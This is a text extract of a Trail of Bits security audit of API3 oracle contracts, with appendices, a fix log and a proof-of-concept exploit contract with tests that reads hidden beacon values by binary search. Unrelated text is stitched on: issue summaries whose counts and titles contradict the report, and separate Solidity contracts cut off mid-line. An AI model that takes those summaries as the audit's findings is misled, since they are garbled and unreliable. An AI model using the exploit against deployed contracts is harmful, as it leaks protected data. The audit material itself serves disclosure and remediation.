Cryptography A breach of system confidentiality or integrity Data Exposure Exposure of sensitive information Data Validation Improper reliance on the structure or values of data Denial of Service A system failure with an availability impact Error Reporting Insecure or insufficient reporting of error conditions Patching Use of an outdated software package or library Session Management Improper identification of authenticated users Testing Insufficient test methodology or test coverage Timing Race conditions or other order-of-operations flaws Undefined Behavior Undefined behavior triggered within the system T r a i l o f B i t s 28 API3 Security Assessment P U B L I C Severity Levels Severity Description Informational The issue does not pose an immediate risk but is relevant to security best practices. Undetermined The extent of the risk was not determined during this engagement. Low The risk is small or is not one the client has indicated is important. Medium User information is at risk; exploitation could pose reputational, legal, or moderate financial risks. High The flaw could affect numerous users and have serious reputational, legal, or financial implications. Difficulty Levels Difficulty Description Undetermined The difficulty of exploitation was not determined during this engagement. Low The flaw is well known; public tools for its exploitation exist or can be scripted. Medium An attacker must write an exploit or will need in-depth knowledge of the system. High An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue. T r a i l o f B i t s 29 API3 Security Assessment P U B L I C B . C o d e M a t u r i t y C a t e g o r i e s The following tables describe the code maturity categories and rating criteria used in this document. Code Maturity Categories Category Description Arithmetic The proper use of mathematical operations and semantics Auditing The use of event auditing and logging to support monitoring Authentication / Access Controls The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system Complexity Management The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions Decentralization The presence of a decentralized governance structure for mitigating insider threats and managing risks posed by contract upgrades Documentation The presence of comprehensive and readable codebase documentation Front-Running Resistance The system’s resistance to front-running attacks Low-Level Manipulation The justified use of inline assembly and low-level calls Testing and Verification The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage T r a i l o f B i t s 30 API3 Security Assessment P U B L I C Rating Criteria Rating Description Strong No issues were found, and the system exceeds industry standards. Satisfactory Minor issues were found, but the system is compliant with best practices. Moderate Some issues that may affect system safety were found. Weak Many issues that affect system safety were found. Missing A required component is missing, significantly affecting system safety. Not Applicable The category is not applicable to this review. Not Considered The category was not considered in this review. Further Investigation Required Further investigation is required to reach a meaningful conclusion. T r a i l o f B i t s 31 API3 Security Assessment P U B L I C C . T o k e n I n t e g r a t i o n C h e c k l i s t The following checklist provides recommendations for interactions with arbitrary tokens. Every unchecked item should be justified, and its associated risks, understood. For an up-to-date version of the checklist, see crytic/building-secure-contracts . For convenience, all Slither utilities can be run directly on a token address, such as the following: slither-check-erc 0xdac17f958d2ee523a2206206994597c13d831ec7 TetherToken --erc erc20 slither-check-erc 0x06012c8cf97BEaD5deAe237070F9587f8E7A266d KittyCore --erc erc721 To follow this checklist, use the below output from Slither for the token: slither-check-erc [target] [contractName] [optional: --erc ERC_NUMBER] slither [target] --print human-summary slither [target] --print contract-summary slither-prop . --contract ContractName # requires configuration, and use of Echidna and Manticore G e n e r a l C o n s i d e r a t i o n s ❏ The contract has a security review. Avoid interacting with contracts that lack a security review. Check the length of the assessment (i.e., the level of effort), the reputation of the security firm, and the number and severity of the findings. ❏ You have contacted the developers. You may need to alert their team to an incident. Look for appropriate contacts on blockchain-security-contacts . ❏ They have a security mailing list for critical announcements. Their team should advise users (like you!) when critical issues are found or when upgrades occur. C o n t r a c t C o m p o s i t i o n ❏ The contract avoids unnecessary complexity. The token should be a simple contract; a token with complex code requires a higher standard of review. Use Slither’s human-summary printer to identify complex code. ❏ The contract uses SafeMath . Contracts that do not use SafeMath require a higher standard of review. Inspect the contract by hand for SafeMath usage. ❏ The contract has only a few non-token-related functions. Non-token-related functions increase the likelihood of an issue in the contract. Use Slither’s contract-summary printer to broadly review the code used in the contract. T r a i l o f B i t s 32 API3 Security Assessment P U B L I C ❏ The token has only one address. Tokens with multiple entry points for balance updates can break internal bookkeeping based on the address (e.g., balances[token_address][msg.sender] may not reflect the actual balance). O w n e r P r i v i l e g e s ❏ The token is not upgradeable. Upgradeable contracts may change their rules over time. Use Slither’s human-summary printer to determine whether the contract is upgradeable. ❏ The owner has limited minting capabilities. Malicious or compromised owners can abuse minting capabilities. Use Slither’s human-summary printer to review minting capabilities, and consider manually reviewing the code. ❏ The token is not pausable. Malicious or compromised owners can trap contracts relying on pausable tokens. Identify pausable code by hand. ❏ The owner cannot blacklist the contract. Malicious or compromised owners can trap contracts relying on tokens with a blacklist. Identify blacklisting features by hand. ❏ The team behind the token is known and can be held responsible for abuse. Contracts with anonymous development teams or teams that reside in legal shelters require a higher standard of review. E R C 2 0 T o k e n s E R C 2 0 C o n f o r m i t y C h e c k s Slither includes a utility, slither-check-erc , that reviews the conformance of a token to many related ERC standards. Use slither-check-erc to review the following: ❏ Transfer and transferFrom return a boolean. Several tokens do not return a boolean on these functions. As a result, their calls in the contract might fail. ❏ The name , decimals , and symbol functions are present if used. These functions are optional in the ERC20 standard and may not be present. ❏ Decimals returns a uint8 . Several tokens incorrectly return a uint256 . In such cases, ensure that the value returned is below 255. ❏ The token mitigates the known ERC20 race condition . The ERC20 standard has a known ERC20 race condition that must be mitigated to prevent attackers from stealing tokens. Slither includes a utility, slither-prop , that generates unit tests and security properties that can discover many common ERC flaws. Use slither-prop to review the following: T r a i l o f B i t s 33 API3 Security Assessment P U B L I C ❏ The contract passes all unit tests and security properties from slither-prop . Run the generated unit tests and then check the properties with Echidna and Manticore . R i s k s o f E R C 2 0 E x t e n s i o n s The behavior of certain contracts may differ from the original ERC specification. Conduct a manual review of the following conditions: ❏ The token is not an ERC777 token and has no external function call in transfer or transferFrom . External calls in the transfer functions can lead to reentrancies. ❏ Transfer and transferFrom should not take a fee. Deflationary tokens can lead to unexpected behavior. ❏ Potential interest earned from the token is taken into account. Some tokens distribute interest to token holders. This interest may be trapped in the contract if not taken into account. T o k e n S c a r c i t y Reviews of token scarcity issues must be executed manually. Check for the following conditions: ❏ The supply is owned by more than a few users. If a few users own most of the tokens, they can influence operations based on the tokens’ repartition. ❏ The total supply is sufficient. Tokens with a low total supply can be easily manipulated. ❏ The tokens are located in more than a few exchanges. If all the tokens are in one exchange, a compromise of the exchange could compromise the contract relying on the token. ❏ Users understand the risks associated with a large amount of funds or flash loans. Contracts relying on the token balance must account for attackers with a large amount of funds or attacks executed through flash loans. ❏ The token does not allow flash minting. Flash minting can lead to substantial swings in the balance and the total supply, which necessitate strict and comprehensive overflow checks in the operation of the token. T r a i l o f B i t s 34 API3 Security Assessment P U B L I C D . C o d e Q u a l i t y R e c o m m e n d a t i o n s The following recommendations are not associated with specific vulnerabilities. However, they enhance code readability and may prevent the introduction of vulnerabilities in the future. General Recommendations ● To reduce gas costs, make variables immutable whenever possible. bytes32 public registrarRole; [...] constructor( address _accessControlRegistry, string memory _adminRoleDescription, address _manager ) AccessControlRegistryAdminnedWithManager( _accessControlRegistry, _adminRoleDescription, _manager ) { registrarRole = _deriveRole(adminRole, REGISTRAR_ROLE_DESCRIPTION); } Figure D.1: utils/RegistryRolesWithManager.sol:L17 ● To improve readability, use abstract contracts for contracts that should not be deployed. ● Improve the NatSpec comments. Certain comments misrepresent the implementation. /// @dev If the `templateId` is zero, the fulfillment will be made with /// `parameters` being used as fulfillment data [...] function makeRequest( address airnode, bytes32 templateId, bytes calldata parameters, address sponsor, bytes4 fulfillFunctionId ) external override returns ( bytes32 requestId) { require (airnode != address (0), "Airnode address zero"); require (templateId != bytes32 (0), "Template ID zero"); Figure D.2: protocol/AirnodeProtocol.sol:L39-L56 AddressRegistry.sol T r a i l o f B i t s 35 API3 Security Assessment P U B L I C ● Remove the onlyRegistrarOrManager modifier from _registerAddress . The _registerAddress function is called only from registerChainRequesterAuthorizer , which is already protected by the onlyRegistrarOrManager modifier. function _registerAddress( bytes32 id, address address_) internal onlyRegistrarOrManager Figure D.3: utils/AddressRegistry.sol:L45-L47 function registerChainRequesterAuthorizer( uint256 chainId, address requesterAuthorizer ) external override onlyRegistrarOrManager { [...] _registerAddress( keccak256 ( abi .encodePacked(chainId)), requesterAuthorizer ); Figure D.4: monetization/RequesterAuthorizerRegistry.sol:L29-L39 AccessControlRegistry.sol ● Replace the deprecated _setupRole function with _grantRole . function initializeManager( address manager) public override { require (manager != address (0), "Manager address zero"); bytes32 rootRole = deriveRootRole(manager); if (!hasRole(rootRole, manager)) { _setupRole (rootRole, manager); emit InitializedManager(rootRole, manager); } } Figure D.5: access-control-registry/AccessControlRegistry.sol:L31-L38 Sort.sol ● Remove the require(...) check. The sort function is called by median only if the array’s length is less than MAX_SORT_LENGTH . uint256 internal constant MAX_SORT_LENGTH = 9; function sort( int256 [] memory array) internal pure { uint256 arrayLength = array.length; require (arrayLength <= MAX_SORT_LENGTH, "Array too long to sort"); Figure D.6: dapis/Sort.sol:L8-L14 function median( int256 [] memory array) internal pure returns ( int256 ) { T r a i l o f B i t s 36 API3 Security Assessment P U B L I C uint256 arrayLength = array.length; if (arrayLength <= MAX_SORT_LENGTH) { sort(array); Figure D.7: dapis/Median.sol:L16-L18 T r a i l o f B i t s 37 API3 Security Assessment P U B L I C E . P r o o f - o f - C o n c e p t E x p l o i t This appendix provides a proof-of-concept exploit for the issue detailed in TOB-API-8 , along with a step-by-step explanation of the exploit methodology. Consider the function conditionPspDapiUpdate . function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { Figure E.1: dapis/DapiServer.sol:L470-L474 One of the three arguments expected by conditionPspDapiUpdate , the subscriptionId argument, is ignored. The data argument holds the ABI-encoded representation of an array of beaconId s. Lastly, conditionParameters simply contains an encoded numeric value. A beaconId can be used as a key to access a beacon stored in the dataPoints[] mapping. A beacon is a value (e.g., the price of an asset) provided by a single Airnode endpoint. Similarly, a dapiId can be used as a key to access a dAPI stored in the dataPoints[] mapping. A dAPI is the median of a set of beacons. The system computes a dapiId by hashing the encoded version of its constituent beaconId s. bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; Figure E.2: dapis/DapiServer.sol:L475-L476 When a new dAPI is updated, the previous value of that dAPI is saved in a local variable. Unused dapiId s point to a zero-value dAPI / beacon. If data contains a previously unseen list of beaconId s, the generated dapiId will point to a zero-value dAPI / beacon. This proof-of-concept exploit concerns a similar situation. require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); Figure E.3: dapis/DapiServer.sol:L477-L480 The dapiId generated from the list of beaconId s provided through data will most likely point to a previously unused dAPI. A user interested in the value pointed to by BEACONID_TARGET could send [ BEACONID_TARGET , BEACONID_TARGET ] encoded as data T r a i l o f B i t s 38 API3 Security Assessment P U B L I C to conditionPspDapiUpdate . This would update a previously unused dAPI to point to the median of a list of beacons, namely the slot containing BEACONID_TARGET . return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure E.4: dapis/DapiServer.sol:L481-L486 The calculateUpdateInPercentage function calculates the difference between the new dAPI and zero; calculateUpdateInPercentage determines only the magnitude of the difference, so the sign of the original beacon is lost. The value is also multiplied by HUNDRED_PERCENT . The caller of conditionPspDapiUpdate can control the value of conditionParameters and can therefore gain a bit of information about the beacon through the following equation: BEACON * HUNDRED_PERCENT >= THRESHOLD By carefully repeating this process, a user could read a beacon value in the range [0, 2**224/HUNDRED_PERCENT] . Note that because this exploit would change the contract state, sending the exact same list of beacons twice would not produce the same result. The code in figure F.5 shows a contract through which one could execute this proof-of-concept exploit. This implementation assumes that there is an unused dataPoint[] . Also note that an active off-chain monitor could front-run each exploit attempt, making the attack more expensive or blocking its execution. contract HackDapiServer{ event BeaconIsGreaterOrEqualThan(bytes32, int); event BeaconIsLessThan(bytes32, int); event BeaconIs(bytes32, int); event Search(uint, uint, uint); mapping(bytes32 => uint) last; IDapiServer dapi; //The target dapiServer constructor(IDapiServer _dapi){ dapi=_dapi; require(dapi.HUNDRED_PERCENT() == 1e8, "Meh"); } /* Returns true if the dapi.dataPoint[beaconId] value is greater or equal than the threshold Caveats and limitations: 1- This implementation can not connect multiple HackDapiServer to the same dapiServer 2- Can not determine the beacon value sign. 3- HUNDRED_PERCENT other than 1e8 is not supported 4- Can not exfiltrate data about beacon values greater than MAX/HUNDRED_PERCENT T r a i l o f B i t s 39 API3 Security Assessment P U B L I C 5- timestamp can not be exfiltrated with this method 6- An active off-chain monitor can disable it until reset 1,2,3 can be fixed */ function isBeaconGreaterOrEqualThan(bytes32 beaconId, int224 threshold) public returns (bool result){ require(threshold > 0, "Negative threshold not supported"); bytes32[] memory beaconIds = new bytes32[](4); beaconIds[0] = beaconId; beaconIds[1] = beaconId; beaconIds[2] = beaconId; beaconIds[3] = keccak256(abi.encodePacked(beaconId, blockhash(0), last[beaconId])); last[beaconId]+=1; bytes memory beaconIdsEnc = abi.encode(beaconIds); result = dapi.conditionPspDapiUpdate(0, beaconIdsEnc, abi.encode(1e8 * threshold)); if (result){ emit BeaconIsGreaterOrEqualThan(beaconId, threshold); }else{ emit BeaconIsLessThan(beaconId, threshold); } } /* Basic dichotomic search to divinate the value of certain beacon Note that this will find values in the range[1, int224.max/1e8] */ function readBeacon(bytes32 beaconId) public returns (uint result){ uint candidate; uint low = 0; //calculateUpdateInPercentage makes absolute values uint high = uint(uint224(type(int224).max/1e8)); //Conversion will fit positive number while (high > low + 1){ candidate = low + (high - low) / 2; emit Search(low, candidate, high); if(isBeaconGreaterOrEqualThan(beaconId, int224(int256(candidate)))){ low = candidate; }else{ high = candidate; } } result = low; emit BeaconIs(beaconId, int(result)); } } Figure E.5: A contract that could be used in this proof-of-concept exploit describe('Extra ToB tests', function () { it('Exfiltrate condition on-chain via Hack contract', async function () { const hackDapiServerFactory = await hre.ethers.getContractFactory('HackDapiServer', roles.deployer); let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address); let SECRET = 6; T r a i l o f B i t s 40 API3 Security Assessment P U B L I C let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1; await setBeacon(templateId, SECRET, timestamp); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 45000)) .to.emit(hackDapiServer, 'BeaconIsLessThan') .withArgs(beaconId, 45000); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 5)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 5); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 6); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 7)) .to.emit(hackDapiServer, 'BeaconIsLessThan') .withArgs(beaconId, 7); expect(await hackDapiServer.isBeaconGreaterOrEqualThan(beaconId, 6)) .to.emit(hackDapiServer, 'BeaconIsGreaterOrEqualThan') .withArgs(beaconId, 6); }); it('Exfiltrate/Read value on-chain via Hack contract', async function () { const hackDapiServerFactory = await hre.ethers.getContractFactory('HackDapiServer', roles.deployer); let hackDapiServer = await hackDapiServerFactory.deploy(dapiServer.address); let timestamp = await testUtils.getCurrentTimestamp(hre.ethers.provider)+1; let SECRET = 708627767408; await setBeacon(templateId, SECRET, timestamp); await expect(await hackDapiServer.readBeacon(beaconId)) .to.emit(hackDapiServer, 'BeaconIs') .withArgs(beaconId, SECRET); for (let ind = 0; ind < 5; ind++) { let val = ethers.BigNumber.from(ethers.utils.randomBytes(20)); timestamp += 10; await setBeacon(templateId, val, timestamp); await expect(await hackDapiServer.readBeacon(beaconId)) .to.emit(hackDapiServer, 'BeaconIs') .withArgs(beaconId, val); } }); }); Figure E.6: Test code for the proof of concept T r a i l o f B i t s 41 API3 Security Assessment P U B L I C F . F i x L o g On March 25, 2022, Trail of Bits reviewed the fixes and mitigations implemented by the API3 team for issues identified in this report. The API3 team fixed seven of the issues reported in the original assessment and did not fix the other two. We reviewed each of the fixes to ensure that the proposed remediation would be effective. For additional information, please refer to the Detailed Fix Log. ID Title Severity Fix Status 1 Publish-subscribe protocol users are vulnerable to a denial of service High Fixed ( PR 904 ) 2 Solidity compiler optimizations can be problematic Informational Not fixed 3 Decisions to opt out of a monetization scheme are irreversible Medium Fixed ( PR 924 ) 4 Depositors can front-run request-blocking transactions Medium Fixed ( PR 926 ) 5 Incompatibility with non-standard ERC20 tokens Low Fixed ( PR 927 ) 6 Compromise of a single oracle enables limited control of the dAPI value High Not fixed 7 Project dependencies contain vulnerabilities Undetermined Fixed 8 DapiServer beacon data is accessible to all users Low Fixed ( PR 954 ) 9 Misleading function name Informational Fixed ( PR 952 ) T r a i l o f B i t s 42 API3 Security Assessment P U B L I C D e t a i l e d F i x L o g TOB-API-1: Publish-subscribe protocol users are vulnerable to a denial of service Fixed. The API3 team fixed the issue by replacing abi.encodePacked with abi.encode . TOB-API-2: S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c Not fixed. The API3 team responded to this finding as follows: “Considering the tradeoffs, we prefer to keep the optimizations enabled.” TOB-API-3: Decisions to opt out of a monetization scheme are irreversible Fixed. An Airnode can now change its status to OptedOut or Inactive regardless of its current status. TOB-API-4: Depositors can front-run request-blocking transactions Fixed. A maintainer or manager can now set a withdrawal waiting period of up to 30 days; however, this option is disabled by default. TOB-API-5: Incompatibility with non-standard ERC20 tokens Fixed. The contracts now use the SafeERC20 library for interactions with ERC20 tokens. TOB-API-6: Compromise of a single oracle enables limited control of the dAPI value Not fixed. The API3 team responded to this finding as follows: DapiServer uses median as the method for aggregating oracle responses. Median is used over other aggregation methods when robustness is preferred over accuracy, which is helpful because it minimizes the statistical assumptions you need to make about your oracle responses. The usage of median typically has two implications: a. We are doing a categorical kind of aggregation with the assumptions that: ● There are two kinds of answers: Honest and Dishonest ● Any Honest answer is acceptable ● 50%+ of the answers are Honest b. Data type is continuous, meaning that if oracle response A and oracle response B are acceptable, so is any number between A and B An oracle being able to vary the outcome between two Honest reports is intended behavior. There would only be an issue if they were able to manipulate the outcome to be smaller than the smallest Honest response or larger than the largest Honest response where the Honest responses are a majority. Therefore, we consider this issue to be a false positive and will not address it. T r a i l o f B i t s 43 API3 Security Assessment P U B L I C TOB-API-7: Project dependencies contain vulnerabilities Fixed. The API3 team responded to this finding as follows: “Project dependencies were frozen for the audit, which is why they were outdated by the time they were audited. The dependencies are being tracked in the CI loop and the main branch is kept up to date.” TOB-API-8: DapiServer beacon data is accessible to all users Fixed. The API3 team responded to this finding as follows: It is suggested that a contract can verify if an arbitrary Beacon value is above or below a specific value. This is done by checking the update condition of an uninitialized dAPI whose majority is composed of the respective Beacon. The problem in this scenario is that it is not possible for the reading contract to check if the dAPI is uninitialized, meaning that the 1 bit that will be inferred is not guaranteed to be correct. Furthermore, it can be assumed that attackers will consistently frontrun the reading transaction to initialize the dAPI beforehand, causing the reads to be incorrect whenever profitable. In short, whatever information that will be inferred in the proposed way will not be trustless, which makes it useless in the context of smart contracts. Therefore, we consider this issue to be a false positive. We updated the Beacon and dAPI update condition functions so that they always return `true` if the respective data point timestamp is zero and the update will set it to a non-zero value ( PR 954 ). In the previous implementation, if the data point is uninitialized and the fulfillment data is near-zero, the condition would have returned `false` and no update would have been made. This is not desirable, because the readers will reject the uninitialized value due to its zero timestamp (even though the zero value is accurate). With the update, the Beacon/dAPI will be updated with the near-zero value to signal to the readers that this is an initialized data point with a near-zero value rather than an uninitialized data point. As a side effect, the update above makes this issue obsolete, as conditionPspDapiUpdate will always return `true` for an uninitialized dAPI if at least one of its Beacons are initialized. TOB-API-9: Misleading function name Fixed. The conditionPspDapiUpdate function can no longer be called to make state changes; it now requires msg.sender to be set to address(0) and can be called only off-chain. T r a i l o f B i t s 44 API3 Security Assessment P U B L I C
Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unencrypted data stored in the database (CWE-319) 2.b Fix (one line with code reference) - Encrypt data stored in the database (CWE-326) Moderate 3.a Problem (one line with code reference) - Unvalidated input (CWE-20) 3.b Fix (one line with code reference) - Validate input (CWE-20) 3.a Problem (one line with code reference) - Unvalidated redirects and forwards (CWE-601) 3.b Fix (one line with code reference) - Validate redirects and forwards (CWE-601) 3.a Problem (one line with code reference) - Cross-site scripting (CWE-79) 3.b Fix (one line with code reference) - Implement input validation and output encoding (CWE-79) Major: 0 Critical: 0 Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 3 - Major: 0 - Critical: 1 Minor Issues 2.a Problem: Publish-subscribe protocol users are vulnerable to a denial of service (15) 2.b Fix: Implement rate limiting (15) 3.a Problem: Solidity compiler optimizations can be problematic (17) 3.b Fix: Use the latest version of the Solidity compiler (17) 4.a Problem: Decisions to opt out of a monetization scheme are irreversible (18) 4.b Fix: Implement a mechanism to allow users to opt out of the monetization scheme (18) 5.a Problem: Depositors can front-run request-blocking transactions (20) 5.b Fix: Implement a mechanism to prevent front-running (20) Moderate Issues 6.a Problem: Incompatibility with non-standard ERC20 tokens (21) 6.b Fix: Implement a mechanism to detect and reject non-standard ERC20 tokens (21) 7.a Problem: Project dependencies contain vulnerabilities (23) 7.b Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 2 - Major: 2 - Critical: 1 Minor Issues 2.a Problem (one line with code reference): Risk of subscriptionId collisions (TOB-API-1) 2.b Fix (one line with code reference): Use abi.encodePacked with only one dynamic type Moderate Issues 3.a Problem (one line with code reference): Whitelisting without payment (TOB-API-2) 3.b Fix (one line with code reference): Implement a payment check Major Issues 4.a Problem (one line with code reference): Withdrawal of more funds than deposited (TOB-API-3) 4.b Fix (one line with code reference): Implement a check to ensure withdrawal amount is less than or equal to deposited amount Critical Issues 5.a Problem (one line with code reference): Front-running a request-blocking transaction (TOB-API-4) 5.b Fix (one line with code reference): Implement a check to ensure the transaction is not blocked by another transaction Observations -
pragma solidity 0.8.5; //SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "./BlocksRewardsManager.sol"; contract BlocksSpace is Ownable { struct Block { uint256 price; address owner; } struct BlockView { uint256 price; address owner; uint16 blockNumber; } struct BlocksArea { address owner; uint256 blockstart; uint256 blockend; string imghash; uint256 zindex; } struct BlockAreaLocation { uint256 startBlockX; uint256 startBlockY; uint256 endBlockX; uint256 endBlockY; } struct UserState { BlocksArea lastBlocksAreaBought; uint256 lastPurchase; } uint256 constant PRICE_OF_LOGO_BLOCKS = 42 ether; BlocksRewardsManager public rewardsPool; uint256 public minTimeBetweenPurchases = 42 hours; mapping(uint256 => Block) public blocks; mapping(address => UserState) public users; event MinTimeBetweenPurchasesUpdated(uint256 inSeconds); event BlocksAreaPurchased(address indexed blocksAreaOwner, uint256 blocksBought, uint256 paid); constructor(address rewardsPoolContract_) { rewardsPool = BlocksRewardsManager(rewardsPoolContract_); setPriceOfLogoBlocks(0, 301); } function setPriceOfLogoBlocks(uint256 startBlockId_, uint256 endBlockId_) internal { // 0 - 301 (uint256 startBlockX, uint256 startBlockY) = (startBlockId_ / 100, startBlockId_ % 100); (uint256 endBlockX, uint256 endBlockY) = (endBlockId_ / 100, endBlockId_ % 100); for (uint256 i = startBlockX; i <= endBlockX; ++i) { for (uint256 j = startBlockY; j <= endBlockY; ++j) { Block storage currentBlock = blocks[i * 100 + j]; currentBlock.price = PRICE_OF_LOGO_BLOCKS; currentBlock.owner = msg.sender; } } } function purchaseBlocksArea( uint256 startBlockId_, uint256 endBlockId_, string calldata imghash_ ) external payable { BlockAreaLocation memory areaLoc = BlockAreaLocation( startBlockId_ / 100, startBlockId_ % 100, endBlockId_ / 100, endBlockId_ % 100 ); // 1. Checks uint256 paymentReceived = msg.value; require(paymentReceived > 0, "Money expected..."); require( block.timestamp >= users[msg.sender].lastPurchase + minTimeBetweenPurchases, "You must wait between buys" ); require(isBlocksAreaValid(areaLoc), "BlocksArea invalid"); require(bytes(imghash_).length != 0, "Image hash cannot be empty"); (uint256 currentPriceOfBlocksArea, uint256 numberOfBlocks) = calculatePriceAndSize(areaLoc); // Price increase per block needs to be at least minimal require(paymentReceived > currentPriceOfBlocksArea, "Price increase too small"); uint256 priceIncreasePerBlock_ = (paymentReceived - currentPriceOfBlocksArea) / numberOfBlocks; require(priceIncreasePerBlock_ > 0, "Price incr per block too small"); // 2. Storage operations (address[] memory previousBlockOwners, uint256[] memory previousOwnersPrices) = calculateBlocksOwnershipChanges( areaLoc, priceIncreasePerBlock_, numberOfBlocks ); updateUserState(msg.sender, startBlockId_, endBlockId_, imghash_); // 3. Transactions // Send fresh info to RewardsPool contract, so buyer gets some sweet rewards rewardsPool.blocksAreaBoughtOnSpace{value: paymentReceived}( msg.sender, previousBlockOwners, previousOwnersPrices ); // 4. Emit purchase event emit BlocksAreaPurchased(msg.sender, startBlockId_ * 10000 + endBlockId_, paymentReceived); } function calculateBlocksOwnershipChanges( BlockAreaLocation memory areaLoc, uint256 priceIncreasePerBlock_, uint256 numberOfBlocks_ ) internal returns (address[] memory, uint256[] memory) { // Go through all blocks that were paid for address[] memory previousBlockOwners = new address[](numberOfBlocks_); uint256[] memory previousOwnersPrices = new uint256[](numberOfBlocks_); uint256 arrayIndex; for (uint256 i = areaLoc.startBlockX; i <= areaLoc.endBlockX; ++i) { for (uint256 j = areaLoc.startBlockY; j <= areaLoc.endBlockY; ++j) { //Set new state of the Block Block storage currentBlock = blocks[i * 100 + j]; previousBlockOwners[arrayIndex] = currentBlock.owner; previousOwnersPrices[arrayIndex] = currentBlock.price; currentBlock.price = currentBlock.price + priceIncreasePerBlock_; // Set new price that was paid for this block currentBlock.owner = msg.sender; // Set new owner of block ++arrayIndex; } } return (previousBlockOwners, previousOwnersPrices); } function updateUserState( address user_, uint256 startBlockId_, uint256 endBlockId_, string calldata imghash_ ) internal { UserState storage userState = users[user_]; userState.lastBlocksAreaBought.owner = user_; userState.lastBlocksAreaBought.blockstart = startBlockId_; userState.lastBlocksAreaBought.blockend = endBlockId_; userState.lastBlocksAreaBought.imghash = imghash_; userState.lastBlocksAreaBought.zindex = block.number; userState.lastPurchase = block.timestamp; } function getPricesOfBlocks(uint256 startBlockId_, uint256 endBlockId_) external view returns (BlockView[] memory) { BlockAreaLocation memory areaLoc = BlockAreaLocation( startBlockId_ / 100, startBlockId_ % 100, endBlockId_ / 100, endBlockId_ % 100 ); require(isBlocksAreaValid(areaLoc), "BlocksArea invalid"); BlockView[42] memory blockAreaTemp; uint256 arrayCounter; for (uint256 i = areaLoc.startBlockX; i <= areaLoc.endBlockX; ++i) { for (uint256 j = areaLoc.startBlockY; j <= areaLoc.endBlockY; ++j) { uint16 index = uint16(i * 100 + j); Block storage currentBlock = blocks[index]; blockAreaTemp[arrayCounter] = BlockView( currentBlock.price, currentBlock.owner, index // block number ); ++arrayCounter; } } // Shrink array and return only whats filled BlockView[] memory blockArea = new BlockView[](arrayCounter); for (uint256 i; i < arrayCounter; ++i) { blockArea[i] = blockAreaTemp[i]; } return blockArea; } function calculatePriceAndSize(BlockAreaLocation memory areaLoc) internal view returns (uint256, uint256) { uint256 currentPrice; uint256 numberOfBlocks; for (uint256 i = areaLoc.startBlockX; i <= areaLoc.endBlockX; ++i) { for (uint256 j = areaLoc.startBlockY; j <= areaLoc.endBlockY; ++j) { currentPrice = currentPrice + blocks[i * 100 + j].price; ++numberOfBlocks; } } return (currentPrice, numberOfBlocks); } function isBlocksAreaValid(BlockAreaLocation memory areaLoc) internal pure returns (bool) { require(areaLoc.startBlockX < 42 && areaLoc.endBlockX < 42, "X blocks out of range. Oh Why?"); require(areaLoc.startBlockY < 24 && areaLoc.endBlockY < 24, "Y blocks out of range. Oh Why?"); uint256 blockWidth = areaLoc.endBlockX - areaLoc.startBlockX + 1; // +1 because its including uint256 blockHeight = areaLoc.endBlockY - areaLoc.startBlockY + 1; // +1 because its including uint256 blockArea = blockWidth * blockHeight; return blockWidth <= 7 && blockHeight <= 7 && blockArea <= 42; } function updateMinTimeBetweenPurchases(uint256 inSeconds_) external onlyOwner { minTimeBetweenPurchases = inSeconds_; emit MinTimeBetweenPurchasesUpdated(inSeconds_); } }pragma solidity 0.8.5; //SPDX-License-Identifier: MIT import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./BlocksStaking.sol"; contract BlocksRewardsManager is Ownable { // Info of each user. struct UserInfo { uint256 amount; // How many blocks user owns currently. uint256 pendingRewards; // Rewards assigned, but not yet claimed uint256 rewardsDebt; } // Info of each blocks.space struct SpaceInfo { uint256 spaceId; uint256 amountOfBlocksBought; // Number of all blocks bought on this space address contractAddress; // Address of space contract. uint256 blsPerBlockAreaPerBlock; // Start with 830000000000000 wei (approx 24 BLS/block.area/day) uint256 blsRewardsAcc; uint256 blsRewardsAccLastUpdated; } // Management of splitting rewards uint256 constant MAX_TREASURY_FEE = 5; uint256 constant MAX_LIQUIDITY_FEE = 10; uint256 constant MAX_PREVIOUS_OWNER_FEE = 50; uint256 public treasuryFee = 5; uint256 public liquidityFee = 10; uint256 public previousOwnerFee = 25; address payable public treasury; IERC20 public blsToken; BlocksStaking public blocksStaking; SpaceInfo[] public spaceInfo; mapping(uint256 => mapping(address => UserInfo)) public userInfo; mapping(address => uint256) public spaceIdMapping; // Not 0 based, but starts with id = 1 // Variables that support calculation of proper bls rewards distributions uint256 public blsPerBlock; uint256 public blsLastRewardsBlock; uint256 public blsSpacesRewardsDebt; // bls rewards debt accumulated uint256 public blsSpacesDebtLastUpdatedBlock; uint256 public blsSpacesRewardsClaimed; event SpaceAdded(uint256 indexed spaceId, address indexed space, address indexed addedBy); event Claim(address indexed user, uint256 amount); event BlsPerBlockAreaPerBlockUpdated(uint256 spaceId, uint256 newAmount); event TreasuryFeeSet(uint256 newFee); event LiquidityFeeSet(uint256 newFee); event PreviousOwnerFeeSet(uint256 